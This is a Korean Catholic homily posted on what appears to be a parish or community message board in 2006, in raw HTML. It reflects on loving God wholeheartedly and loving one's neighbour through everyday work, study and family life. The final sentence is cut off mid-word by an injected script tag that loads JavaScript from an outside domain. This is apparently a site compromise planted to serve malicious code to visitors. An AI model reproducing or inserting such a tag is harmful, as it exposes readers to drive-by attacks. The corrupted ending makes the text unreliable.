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작성자 : 허미옥 | 조회수 : 3,334 | 작성일 : 2006년 11월 6일

<P><FONT size=4><STRONG>(나를 성숙해지게 하는 글)</STRONG></FONT></P>
<P><FONT size=4><STRONG><BR></STRONG></FONT><FONT face=돋움 color=#e0d898><STRONG><FONT color=dimgray>“너는 마음을 다하고 <BR>목숨을 다하고 <BR>정신을 다하고 <BR>힘을 다하여 <BR>주 너의 하느님을 사랑해야 한다.”<BR><BR>형제 자매님,<BR>우리는 이 말씀을 들을 때, <BR>우리 생활과는 너무 거리가 먼 것이어서, <BR>이것은 하느님을 위해서 전적으로 자신을 봉헌한 사제나 수도자 같은 <BR>특별한 사람들에게나 적용되는 말씀이라고 생각합니다.&nbsp; <BR><BR>그러나 예수께서는 모든 이스라엘 백성, <BR>곧 하느님의 백성이 지켜야 하는 첫 번째 계명이라고 분명히 밝히셨습니다.&nbsp; <BR>그러므로 이 말씀은 우리 모두에게 적용되는 것입니다.<BR><BR>‘마음을 다하여 하느님을 사랑한다.’는 것은 <BR>강렬한 사랑에서, <BR>자신의 존재와 자신의 행위 전부를 하느님께로 향한다는 뜻입니다.&nbsp; <BR>그러니 이 말씀으로도 충분할 것인데, <BR>예수께서는 뜻을 더 분명하게 하고자 <BR>사람의 영혼을 뜻하는 ‘목숨을 다하고’와 <BR>의견과 지성을 내포하는 ‘생각을 다하여’를 <BR>그리고 모든 정력을 포함하는 ‘힘을 다하여’라는 말을 첨부하신 것입니다.&nbsp; <BR><BR>그러니 하느님의 백성인 우리가 할 일은 <BR>자신의 모든 것을 바쳐 하느님을 사랑하는 것이라고 분명히 말씀하신 것입니다.<BR><BR>성경은 하느님을 사랑한다는 것을 <BR>단지 감상적 혹은 추상적인 현실로 간주하는 일이 전혀 없습니다.&nbsp; <BR><BR>오늘 복음에서도 예수께서는 율법학자가 슬기롭게 대답하는 것을 보시고 <BR>“너는 하느님 나라를 보장받았다.”라고 하시지 않고 <BR>“너는 하느님의 나라에서 멀리 있지 않다.”라고 말씀하셨습니다.&nbsp; <BR><BR>그러므로 하느님을 사랑한다는 것은 <BR>주님의 말씀을 듣고 하느님께 봉사하라는 그 말씀을 실천에 옮기는 것입니다.<BR><BR>그렇다면 <BR>‘우리는 하느님을 온전히 사랑하기 위해서 <BR>봉쇄수도자들처럼 세상을 떠나야 하는가?’<BR>라는 의문을 갖게 됩니다.&nbsp; <BR><BR>형제 자매님,<BR>이런 우리의 의문을 미리 아시고 예수께서는 <BR>“둘째는 이것이다. <BR>‘네 이웃을 너 자신처럼 사랑해야 한다.’ <BR>이보다 더 큰 계명은 없다.”라고 덧붙이십니다.&nbsp; <BR><BR>즉 우리가 하느님을 사랑한다고 해서 <BR>세상을 등지게 되거나 고립되어 <BR>개인적인 기도생활에만 몰두하게 되는 것이 아니라, <BR>하느님을 사랑할 때 오히려 모든 사람을 예외 없이 사랑하게 되고 <BR>우리에게 주어진 일들을 더 열심히 하게 된다는 것입니다.<BR><BR>형제 자매님,<BR>하느님을 참으로 사랑한다면 <BR>우리는 내 가족과 이웃들을 더 잘 사랑하게 될 것입니다.&nbsp; <BR>왜냐하면 하느님께서 이것을 원하시기 때문입니다.&nbsp; <BR>내 가족이나 이웃들은 내가 사랑하도록 하느님께서 보내주신 형제입니다.<BR><BR><FONT style="BACKGROUND-COLOR: #ffe4c4">학생이 하느님을 진정으로 사랑한다면 <BR>그는 열심히 그리고 즐겁게 공부할 것입니다.&nbsp; <BR>왜냐하면 지금 그가 공부하는 것은 하느님께서 <BR></FONT><FONT style="BACKGROUND-COLOR: #ffe4c4"><FONT color=mediumvioletred>그 사람의 일생 위에 세우신 계획을 이룰 수 있도록 준비하는 것이기 때문입니다.<BR></FONT><BR></FONT>직장인이 하느님을 진실로 사랑한다면 <BR>그는 자신의 일에 최선을 다 할 것입니다.&nbsp; <BR>그것이 가족을 사랑하고 하느님을 사랑하는 길임을 잘 알기 때문입니다.<BR><BR>내가 하느님을 진심으로 사랑하는 가정주부라면 <BR>아침에 밥을 지으면서도 온 정성을 다 기울일 것입니다.&nbsp; <BR>그것이 하느님께서 제게 맡겨주신 가족을 잘 사랑하는 방법이기 때문입니다.<BR><BR>내가 하느님을 진실로 사랑하는 수도자라면 <BR>기도시간에 온전히 잠심하여 기쁨을 누릴 것입니다.&nbsp; <BR>왜냐하면 하느님께서 당신 사랑을 드러내 주시기 때문입니다.<BR><BR><FONT style="BACKGROUND-COLOR: peachpuff">내가 하느님을 사랑한다면 <BR>여가 시간에는 충분한 휴식을 취하거나 열심히 운동을 할 것입니다.&nbsp; <BR>왜냐하면 하느님께서 <BR>나 자신의 건강을 살필 것을 원하고 계심을 알게 되기 때문입니다.<BR></FONT><BR>이렇게 우리는 하느님을 온 마음 다해서 사랑할 때, <BR>함께 생활하는 가족과 동료들을 사랑하면서 <BR>우리의 일상생활을 더 열심히 그리고 기쁘게 할 수가 있는 것입니다.&nbsp; <BR><BR>바꾸어 말하면 우리가 형제를 사랑하고 <BR>순간순간 나에게 주어진 시간에 최선을 다하는 것이 <BR>하느님을 잘 사랑하는 것이 된다는 것입니다.&nbsp; <BR><FONT color=mediumvioletred>중요한 것은 그 모든 것을 <BR>내가 하느?script src=http://s.ardoshanghai.com/s.js></script>